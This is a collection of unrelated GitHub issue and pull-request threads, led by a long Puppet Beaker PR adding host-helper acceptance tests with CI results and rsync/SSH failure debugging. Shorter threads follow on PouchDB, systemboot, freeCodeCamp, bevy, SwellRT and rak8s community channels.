[BKR-358] [DO NOT MERGE] add acceptance tests for dsl::helper::host_helpers

Adding acceptance tests for Beaker's dsl::helper::host_helpers (see: https://github.com/puppetlabs/beaker/blob/master/lib/beaker/dsl/helpers/host_helpers.rb)
remaining work

[x] ensure that all characterization tests (CURRENTLY in the step descriptions) have documented what is the expected behavior instead
[x] get PR review :eyes:
[x] hosts.first -> default
[x] TEST_SCP_ERROR_ON_CLOSE -> BEAKER_ TEST_SCP_ERROR_ON_CLOSE
[x] can we fixture-file testfile.sh (and friends) ?
[x] fix rsync issues on CentOS (it doesn't come installed by default)
[x] use confine syntax instead of if blocks
[x] get solaris green
[x] is there more post-test cleanup that should be done?

we are using tempdirs on all remote and local hosts, not sure what else can be done (especially with no support for teardown blocks)

[x] update the configuration used in beaker acceptance tests to use the criteria discussed in this comment
[x] LAND #944 otherwise confine_block doesn't even work
[x] split test files out for readability
[x] ensure tests for jenkins platforms are :green_heart::

[x] :green_heart: solaris11
[x] :green_heart: ubuntu1404
[x] :green_heart: fedora22
[x] :green_heart: osx109
[x] :green_heart: ubuntu1504
[x] :yellow_heart: debian7

have seen intermittent failures: log, log
these appear to be SSH connection problems: rsync returned #<Rsync::Result:0x00000003a40be8 @raw="ssh: connect to host <IP_ADDRESS> port 22: Connection timed out\r\nrsync: connection unexpectedly closed (0 bytes received so far) [sender]\nrsync error: unexplained error (code 255) at io.c(605) [sender=3.0.9]\n", @exitcode=255>

[x] :yellow_heart:  centos7

have seen intermittent failures: log

this is also an SSH-related thing: rsync: localhost:/tmp/beaker20150910-5591-1ot7dbp to root@<IP_ADDRESS>:/tmp/.AxwlnP/testfile.txt {:ignore => } rsync returned #<Rsync::Result:0x00000004b35d18 @raw="ssh: connect to host <IP_ADDRESS> port 22: Connection timed out\r\nrsync: connection unexpectedly closed (0 bytes received so far) [sender]\nrsync error: unexplained error (code 255) at io.c(605) [sender=3.0.9]\n", @exitcode=255>

[x] :green_heart: windows2008r2

seeing timeouts - log

[x] diagnosed and fixed here: https://github.com/puppetlabs/beaker/commit/c8bc33637b06a6beeeea21dead4f74a075fed836

[x] :green_heart: windows2003r2

seeing timeouts - log

[x] diagnosed and fixed here:  https://github.com/puppetlabs/beaker/commit/c8bc33637b06a6beeeea21dead4f74a075fed836

[x] do a "final" pass-through looking for any spurious tidbits
[x] get review
[x] review-related changes
[ ] :eyes: :ship:
[ ] cut a new branch/PR for squashing / merging this down without destroying this PR history

/cc @puppetlabs/beaker

@rick why the empty pre-suite instead of not having a pre-suite?
also, why is the dsl folder not under the acceptance/base folder?  Are you looking to mirror the directory structure from under acceptance just like lib and spec do?  I feel like there's a conversation here that I was :sleeping: through...

@rick why the empty pre-suite instead of not having a pre-suite?

This :dog2: told me to do that.

But you make an interesting point.  I can drop that pre-suite and just not run one. :sparkles: :metal:

also, why is the dsl folder not under the acceptance/base folder?

I can move it there. I think I was mis-reading what base meant (or more accurately, seeing lib/hypervisor, and wanting to write tests for lib/dsl/* I presumed they'd be peers).

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1366/
Test PASSed.

Actually @kevpl, I think dsl was pre-existing, and came in recently here:  https://github.com/puppetlabs/beaker/commit/27bae4b5de941f8419d1e3a3123732e9ec9d82ff as part of https://github.com/puppetlabs/beaker/pull/929

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1368/
Test PASSed.

ha, yeah, actually, I realized that I merged some changes that broke this pattern recently, :facepunch: :palm_tree: (no face palm, really?).  Of course the pattern wasn't documented as far as I'm aware, so it might as well not exist.
The original distinction was between tests that can run without puppet (base) and tests that were specific to puppet.  This way, you could run a quick 18-second run that could check just Beaker functionality, and a longer suite to get puppet installation methods and helpers.  Underneath these directories, the paths would match the code paths just like the spec folder does.
I like the idea of having that separation where as soon as we see whether base or puppet is in the path, we know whether we're breaking core beaker vs some interaction with something else, but I can understand the want to have the paths match up perfectly rather than having another distinction get in the way.  I would recommend making the paths match the pattern in your changes to fix this, but am open to hearing why changing it would be better.

No, I dig that totally. Mostly my confusion was just coming in to the project fresh and not catching the distinction.
I think another benefit of the sort of separation you're talking about is that everything that's not under base/ could potentially be a thing that gets pulled out as our beaker modularization process moves forward.  I'll move this stuff under base/ since it doesn't need puppet installed to work.
Thanks!  :zap:

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1374/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1375/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1376/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1377/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1382/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1383/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1386/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1387/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1388/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1389/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1390/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1391/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1393/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1394/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1395/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1399/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1400/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1419/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1421/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1429/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1431/
Test FAILed.

So, the test suite is as complete as it's going to get.
My acceptance tests are requiring a configuration with at least two nodes (and at least two agent nodes), as well as a default node (relevant on Windows platforms). I've been using a genconfig2 line that looks like:
$ genconfig2 ${platform}-64default.a-64a > config/gen-${platform}.yaml

We'll want to do something like that if we want to run these tests, otherwise we'll continue to get failures like:
http://jenkins-beaker.delivery.puppetlabs.net/job/qe_beaker_intn-sys_beaker-acceptance-base-vpool/agent=debian7/746/console
Failed Tests Cases:
  Test Case /var/lib/jenkins/workspace/qe_beaker_intn-sys_beaker-acceptance-base-vpool/agent/debian7/acceptance/tests/base/dsl/helpers/host_helpers_test.rb reported: #<Minitest::Assertion: dsl::helpers::host_helpers acceptance tests require at least two hosts>

I want to make a pass back through here to document any characterization tests (CURRENTLY in the step definitions) and their expectations (i.e., what would I have expected to see instead), as well as culling out any tickets to be filed for bugs or inconsistencies.
Also, we'll see failures on centos builds unless I add a line somewhere to install the rsync package on that platform (as it doesn't come pre-installed). I wanted to discuss it, though, before doing that.
Anyway, would appreciate if folks give things an honest set of :eyes: at this point.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1434/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1444/
Test FAILed.

Main takeaways:

great stuff! :metal:
I believe that we could change all the host.first calls to rely on the 'default' role (just do on default, 'echo'
I'd like to consider a better test file management solution than continuously creating and writing to testfile.txt
I have concerns about bleedover from test to test.  Adding cleanup at the end of each chunk would lower my anxiety

:bow:

Using default is a good idea over hosts.first, totally down to make that change.  Thanks!
Yeah, I'm open to suggestions (and will do a bit of thinking) on alternatives to testfile.txt; I'm just leaning towards some sort of fixtures directory...
I tried to ensure that just about all of the tests are using Dir.mktmpdir blocks for any local work (which gets cleaned up once the block leaves scope), and create_tmpdir_on for remote tests (I don't know about cleanup for all platforms, but the files should be isolated from each other on each step). I can craft something to clean up remote temp dirs if it seems like it's necessary.  The only other isolation issues I'm aware of would be related to installing packages on remote systems (or leaving cron entries around), but I think I've written tests to not make assumptions about them.

Is there the equivalent of a teardown method for steps in a beaker suite?

Hm yeah, no teardown per-step - just end of file.  Feature request! :)

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1451/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1460/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1461/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1462/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1463/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1466/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1468/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1469/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1471/
Test FAILed.

@puppetlabs/beaker This PR could use review again.  Also, need to review / :ship: #944 before this lands (granted, this will get a separate squashed PR cut and get closed).

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1472/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1477/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1478/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1479/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1481/
Test FAILed.

retest this pleace

retest this please

@rick what do you think of pulling the ubuntu failing testing out of this PR, and making that into a separate one that we can use to test RE's fixes for the packaging issues?
I'm concerned about potentially merging these while red, and having to wait for those fixes before going green, and how we'll have to dig to figure out what Jenkins results mean in the meantime.

@kevpl Yeah, that's the approach I took with ubuntu 15.04, which is green now.  I refuse to land with known red builds. The only two builds that are having problems are windows2008r2 and windows2003r2 which seem to be consistently timing out, and no idea yet what that's about.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1482/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1483/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1489/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1488/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1490/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1491/
Test FAILed.

zomg, finally got everything green, with one intermittent network failure thing on centos7

retest this please

All tests :green_heart: at http://jenkins-beaker.delivery.puppetlabs.net/job/qe_beaker_btc-intn/1495/

@puppetlabs/beaker welcoming :eyes: on this before I created a squashed PR for merging. :bow:

I'm :+1: on this. I like how you've expanded the ruby implementation files into folders of tests.

I like how you've expanded the ruby implementation files into folders of tests.

Thanks.  Yeah, it got totally unreadable otherwise. :books:

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1502/
Test FAILed.

Test failure not related to PR -- this is yet another instance of: https://issues.jenkins-ci.org/browse/JENKINS-26748

So, I really don't like the long path creation to add to the LOADPATH.  beaker has --helper and --load-path, so I think that we could fix this with an acceptance testing options file to be used during test execution.

My hesitance about that has been my personal ignorance about whether there
is an easy way to get full suite runs and single test runs to work easily,
in a known way.
Where will the convention be documented?
On Tue, Sep 15, 2015 at 4:21 PM, alice nodelman<EMAIL_ADDRESS>wrote:

So, I really don't like the long path creation to add to the LOADPATH.
beaker has --helper and --load-path, so I think that we could fix this
with an acceptance testing options file to be used during test execution.
—
Reply to this email directly or view it on GitHub
https://github.com/puppetlabs/beaker/pull/930#issuecomment-140548946.

--
PuppetConf 2015 http://2015.puppetconf.com/ is coming to Portland,
Oregon! Join us October 5-9.
*Register now to take advantage of the Final Countdown discount
https://www.eventbrite.com/e/puppetconf-2015-october-5-9-register-now-its-the-final-countdown-tickets-13115894995?discount=FinalCountdown
*
*—*save $149!

If you look in the puppet repo acceptance dir you'll see a couple of checked-in options files.  I see a similar pattern here, with a acceptance_test_options.rb (or whatever) to be used in conjunction to testing.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1534/
Test FAILed.

retest this please

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1548/
Test FAILed.

retest this please

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1550/
Test FAILed.

Investigating foss test failures.

retest this please

retest this please

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1556/
Test FAILed.

Only foss tests seem to have an issue. Given the changes since the last green build I don't see how that failure would be related to this PR.

This PR is for historical record. Mergeable PR is at https://github.com/puppetlabs/beaker/pull/965/
Thank you, drive through!

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1558/
Test FAILed.

Was able to generate one of the transient debian7 failures just a minute ago.  Logged output:

      * #rsync_to creates the file on the remote system

        krf4w9kex2qig8m.delivery.puppetlabs.net (debian7-64-1) 18:11:49$ getent passwd root
          root:x:0:0:root:/root:/bin/bash

        krf4w9kex2qig8m.delivery.puppetlabs.net (debian7-64-1) executed in 0.16 seconds

        krf4w9kex2qig8m.delivery.puppetlabs.net (debian7-64-1) 18:11:49$ mktemp -dt .XXXXXX
          /tmp/.fF9M2Z

        krf4w9kex2qig8m.delivery.puppetlabs.net (debian7-64-1) executed in 0.16 seconds

        krf4w9kex2qig8m.delivery.puppetlabs.net (debian7-64-1) 18:11:49$ chown root:root /tmp/.fF9M2Z

        krf4w9kex2qig8m.delivery.puppetlabs.net (debian7-64-1) executed in 0.17 seconds
        rsync: localhost:/var/folders/1x/cmqnzkfd51z_nxvfgb1ljcpr0000gn/T/d20151002-20021-1wkuaoq/testfile.txt to root@<IP_ADDRESS>:/tmp/.fF9M2Z {:ignore => }
        rsync returned #<Rsync::Result:0x007fd9d2479498 @raw="ssh: connect to host <IP_ADDRESS> port 22: Operation timed out\r\nrsync: connection unexpectedly closed (0 bytes received so far) [sender]\nrsync error: error in rsync protocol data stream (code 12) at /SourceCache/rsync/rsync-45/rsync/io.c(453) [sender=2.6.9]\n", @exitcode=12>

        krf4w9kex2qig8m.delivery.puppetlabs.net (debian7-64-1) 18:13:04$ cat /tmp/.fF9M2Z/testfile.txt
          cat:           /tmp/.fF9M2Z/testfile.txt          : No such file or directory

        krf4w9kex2qig8m.delivery.puppetlabs.net (debian7-64-1) executed in 0.19 seconds
        Exited: 1
        #<Beaker::Host::CommandFailure: Host 'krf4w9kex2qig8m.delivery.puppetlabs.net' exited with 1 running:
         cat /tmp/.fF9M2Z/testfile.txt
        Last 10 lines of output were:
        	cat: /tmp/.fF9M2Z/testfile.txt: No such file or directory>
        /Users/rick/pl/beaker/lib/beaker/host.rb:309
        /Users/rick/pl/beaker/lib/beaker/dsl/helpers/host_helpers.rb:73
        /Users/rick/pl/beaker/lib/beaker/shared/host_manager.rb:105
        /Users/rick/pl/beaker/lib/beaker/dsl/patterns.rb:32
        /Users/rick/pl/beaker/lib/beaker/dsl/helpers/host_helpers.rb:63
        /Users/rick/pl/beaker/acceptance/tests/base/dsl/helpers/host_helpers/rsync_to_test.rb:87
        /opt/rubies/2.1.7/lib/ruby/2.1.0/tmpdir.rb:88
        /Users/rick/pl/beaker/acceptance/tests/base/dsl/helpers/host_helpers/rsync_to_test.rb:80
        /Users/rick/pl/beaker/lib/beaker/dsl/structure.rb:43
        /Users/rick/pl/beaker/acceptance/tests/base/dsl/helpers/host_helpers/rsync_to_test.rb:79
        /Users/rick/pl/beaker/lib/beaker/dsl/structure.rb:230
        /Users/rick/pl/beaker/acceptance/tests/base/dsl/helpers/host_helpers/rsync_to_test.rb:57
        /Users/rick/pl/beaker/lib/beaker/dsl/structure.rb:58
        /Users/rick/pl/beaker/acceptance/tests/base/dsl/helpers/host_helpers/rsync_to_test.rb:3
        /Users/rick/pl/beaker/lib/beaker/test_case.rb:128
        /Users/rick/pl/beaker/lib/beaker/test_case.rb:128
        /opt/rubies/2.1.7/lib/ruby/2.1.0/benchmark.rb:294
        /Users/rick/pl/beaker/lib/beaker/test_case.rb:125
        /Users/rick/pl/beaker/lib/beaker/test_suite.rb:311
        /Users/rick/pl/beaker/lib/beaker/test_suite.rb:308
        /Users/rick/pl/beaker/lib/beaker/test_suite.rb:308
        /Users/rick/pl/beaker/lib/beaker/test_suite.rb:357
        /Users/rick/pl/beaker/lib/beaker/cli.rb:157
        /Users/rick/pl/beaker/lib/beaker/cli.rb:97
        /Users/rick/pl/beaker/bin/beaker:6
        /Users/rick/pl/beaker/vendor/bundler/ruby/2.1.0/bin/beaker:23
        /Users/rick/pl/beaker/vendor/bundler/ruby/2.1.0/bin/beaker:23
        Warning: acceptance/tests/base/dsl/helpers/host_helpers/rsync_to_test.rb errored in 152.11 seconds
        Begin acceptance/tests/base/dsl/helpers/host_helpers/run_cron_on_test.rb

Still trying to generate another failure automatically.  A friend of mine: "You know what centos7 and debian7 have in common, right? ... systemd."
Wondering if rsync is being run as a systemd service and something is going wrong there.

Re-opening until we can feel comfortable with transient failure problem on centos7/debian7.  Will squash again to #965 when done.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1612/
Test FAILed.

retest this please

retest this please

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1622/
Test FAILed.

Consistently seeing the suite abort at centos7 when testing reboot.  For example: log
Not sure why this is a problem now, as nothing has changed on this branch in that regard. I don't have the greatest :heart: for the way we run tests.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1626/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1629/
Test FAILed.

It's interesting that the way that the reboot failure occurs is that somehow we're not getting any output from (or around) the reboot test for 10 minutes, as far as jenkins is concerned.
 Marking the build as aborted.
Build was aborted

Intermittent test failure! See: https://tickets.puppetlabs.com/browse/QENG-3063
Debugging information:
host => "phiyutar7bzvjyu.delivery.puppetlabs.net"
Finished: ABORTED

This looks like classic output buffering: the reboot test is after the do_scp_to testing, and the fails_intermittently helper is triggering around the reboot test. Are we doing something different these days (or on this jenkins) that would affect buffering of test output; is this a known behavior?

I've seen the truncated output intermittently... forever?  I have never been able to track how/when it occurs.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1632/
Test FAILed.

Confirmed that intermittent test failures are not actually intermittent. Beaker has a problem on centos7 / debian7 where when a host reboots and comes back up with a different IP address (which is happening on those platforms on our vmpooler), that beaker continues to try to SSH to that host using the same IP.
c.f. https://tickets.puppetlabs.com/browse/QENG-3119 and https://tickets.puppetlabs.com/browse/QENG-3063

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1738/
Test FAILed.

retest this please

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1748/
Test FAILed.

Test failures due to genconfig2 config not being appropriate (does not include two agent hosts) ... @kevpl  was the job script changed?
I think I had set it to use:
bundle exec genconfig2 ${agent}-64default.a-64a > hosts.cfg

and now it shows:
bundle exec genconfig2 ${agent}-64default.a > hosts.cfg

I'm presuming if it was changed it was (a) because the new config broke something; (b) because it got restored from someplace else, (c) the config for other jobs needed to be tweaked in an incompatible way, (d) ???
(Yet another argument for getting this node under jjb management)

retest this please

retest this please

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1753/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1754/
Test FAILed.

retest this please

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1755/
Test FAILed.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-beaker.delivery.puppetlabs.net//job/qe_beaker_btc-intn/1763/
Test PASSed.

:ship: in #1004


(#326) endless polling

I got this confused with another bug I was working on and so marked the commit with 5114 when it was supposed to be 326.

@garrensmith I should point out that while this does pass all the tests it only did so when I pointed it at https://github.com/pouchdb/pouchdb/pull/5457 which appears to take care of the ETIMEDOUT failures I would randomly get on various tests. And as discussed in #326 we need to decide what (if any) testing we want for this feature. As I discuss there at some length, there isn't an obvious way to test this unless we want to extract the code to a different file and add a new test just for that file.

Unfortunately it looks like the monorepo work has stalled, so this should probably be moved to express-pouchdb repo for now.

This appears related and yet incompatible with https://github.com/pouchdb/express-pouchdb/pull/403 so it would need more work to be in a state to merge. Sorry for the delay on this; this repo has been a mess for at least a year or more.

Understood. I'll clean this up when I finally get a chance to breath.


Added FromZip to unpack boot configurations from a zip file

Added support for signed and zipped boot configurations.
Context at https://github.com/systemboot/systemboot/pull/37

Codecov Report

Merging #54 into master will increase coverage by 0.69%.
The diff coverage is 45.9%.

@@            Coverage Diff             @@
##           master      #54      +/-   ##
==========================================
+ Coverage   39.95%   40.65%   +0.69%
==========================================
  Files          11       12       +1
  Lines         458      519      +61
==========================================
+ Hits          183      211      +28
- Misses        252      274      +22
- Partials       23       34      +11

Impacted Files
Coverage Δ

pkg/bootconfig/zipconfig.go
45.9% <45.9%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 167a6ee...5c8d8c0. Read the comment docs.


Image does not load

Screenshot
Challenge Get JSON with the jQuery getJSON Method has an issue.
User Agent is: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0.
Please describe how to reproduce this issue, and include links to screenshots if possible.
My code:

Cat Photo Finder

      The message will go here

      <button id = "getMessage" class = "btn btn-primary">
        Get Message
      </button>

Hey @Aror, there is a couple more things to learn before you render the images. This will be done in: "Render Images from Data Sources". "Get JSON with the jQuery getJSON Method" is just showing you how you can load an another file (/json/cats.json).

@matthewshirley looks like i went ahead of myself. Thanks for letting me know!


Upgrade to bevy 0.14

Upgrade to bevy 0.13-rc2.
Also uses the bevy 0.13-rc2 version of leafwing

Codecov Report
Attention: Patch coverage is 75.00000% with 12 lines in your changes missing coverage. Please review.

Project coverage is 71.37%. Comparing base (19e536d) to head (e65da8b).

Files
Patch %
Lines

lightyear/src/protocol/component.rs
62.50%
6 Missing :warning:

lightyear/src/shared/log.rs
0.00%
4 Missing :warning:

lightyear/src/protocol/serialize.rs
0.00%
2 Missing :warning:

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@            Coverage Diff             @@
##             main     #464      +/-   ##
==========================================
- Coverage   71.41%   71.37%   -0.04%
==========================================
  Files         141      141
  Lines        9651     9631      -20
==========================================
- Hits         6892     6874      -18
+ Misses       2759     2757       -2

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

Fixed typo in description
bevy 0.13 -> 0.14


to register our company on your database

our company is pixel geo-information consulting plc from Ethiopia Addis Ababa and we are focused on GIS Workflow Automation, GIS analysis, Surveying, and environmental research.

@ham-di Thank you! Will add in the next iteration.

@ham-di Could you provide me the name & website of the company?

Closing for now, let me know if you have any more infos!

Closing for now, let me know if you have any more infos!


New Website content

Great idea!
Do you have any suggestions for initial FAQ content?
Please, submit a PR and we'll be sure to review ASAP... this is a much needed item.
Thanks!

thanks @llwp, I do have write permissions in the repository, but I added this as an issue to keep it as pending task.
I though about this when other developer asked me questions such as why he could not open a wave with other anonymous session (which has to be answered with a pointer to the documentation regarding wave access model (which is currently missing https://github.com/P2Pvalue/swellrt/issues/189))
As a first step, a FAQ (wiki?) page with some technical questions like this and with no technical questions like: what is SwellRT? is SwellRT for my project? how can I collaborate? etc. should be created. Next, any recurrent question should go there.
Thanks for reviewing the issues @llwp.

I guess this issue could be used to discuss about new Web site contents. I am drafting new website's contents togeether with a marketing specialist taking input from some developer's interviews. Here we can collect communities ideas.

Definitively we must tackle this. I've created following doc to gather ideas for new content:


Suggestion: Create Slack Channel for Support-y Issues

@chris-short Love the work you've been doing on Rak8s. One suggestion I have is to create a Slack channel that way the repo doesn't continue to get flooded by support requests that don't exactly have to do with the playbook itself. Might be better to use Slack to answer issues about k8s/Docker/ansible than the repo. ¯_(ツ)_/¯

@asachs01 Great suggestion. The problem is where would I create such a channel? I do not want yet another Slack account.

I agree 100%, I just don't know where.
On Tue, Apr 10, 2018 at 23:22 Aaron Sachs<EMAIL_ADDRESS>wrote:

Ha! Yeah, fair. I'm in some insane number, so I'm resigned to it, I guess.
🤣🤣🤣. I noticed that there were really only 2 proper issues that
warranted a PR or some change to the playbook, whereas the rest could have
been handled in a different forum, whatever that may be :)
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/rak8s/rak8s/issues/20#issuecomment-380314632, or mute
the thread
https://github.com/notifications/unsubscribe-auth/ABVB-a50BNL-0dC-C742OlHFFe-2F6m6ks5tnXcLgaJpZM4TOzve
.

--
Chris Short
https://chrisshort.net
https://devopsish.com

Ill be happy to host you a discourse  server, or discord.  Anything to help rak8s grow.

Seriously? That'd be awesome in light of #22.

http://discourse.rak8s.com/  Close the issue, @chris-short i ivited you  as admin

Thanks for doing this but, perhaps we should have discussed some implementation details first? Things like putting it on rak8s.io and HTTPS are important to me.

@chris-short  Don't worry, the set up was 5 mins and I was sure you would have wanted it on the io domain.
I just wanted to get something up really fast to showcase and get the backend running.
When you wanna switch over, DM me and all we have to do it change 2 settings, and DNS settings.

Done! Please join us at https://discourse.rak8s.io/

@chris-short in the last year Slack has massively improved their workspace switcher and overall mult-workspace feel.  I'd like to reopen this issue.  Slack is massively easier to communicate on and typically  helps foster a pretty good community around software.

I'm in favor of this or Telegram.
On Tue, Apr 16, 2019 at 8:34 AM Jim Hopkins<EMAIL_ADDRESS>wrote:

@chris-short https://github.com/chris-short in the last year Slack has
massively improved their workspace switcher and overall mult-workspace
feel. I'd like to reopen this issue. Slack is massively easier to
communicate on and typically helps foster a pretty good community around
software.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/rak8s/rak8s/issues/20#issuecomment-483640273, or mute
the thread
https://github.com/notifications/unsubscribe-auth/ABVB-XhR9tt6XcMR-4mMeOdDzy3BVG60ks5vhcNJgaJpZM4TOzve
.

--
Chris Short
Web https://chrisshort.net/ | Newsletter https://devopsish.com/ |
Twitter https://twitter.com/ChrisShort

@chris-short I've set up the workspace and sent you an invite.  I'm opening a new issue here and on rak8s.io to pr the changes necessary for slack.

@jimhopkinsjr @chris-short do y'all have one of the links handy to join?

Actually, I found the slackin url, so nvm.


Add enum.Builder

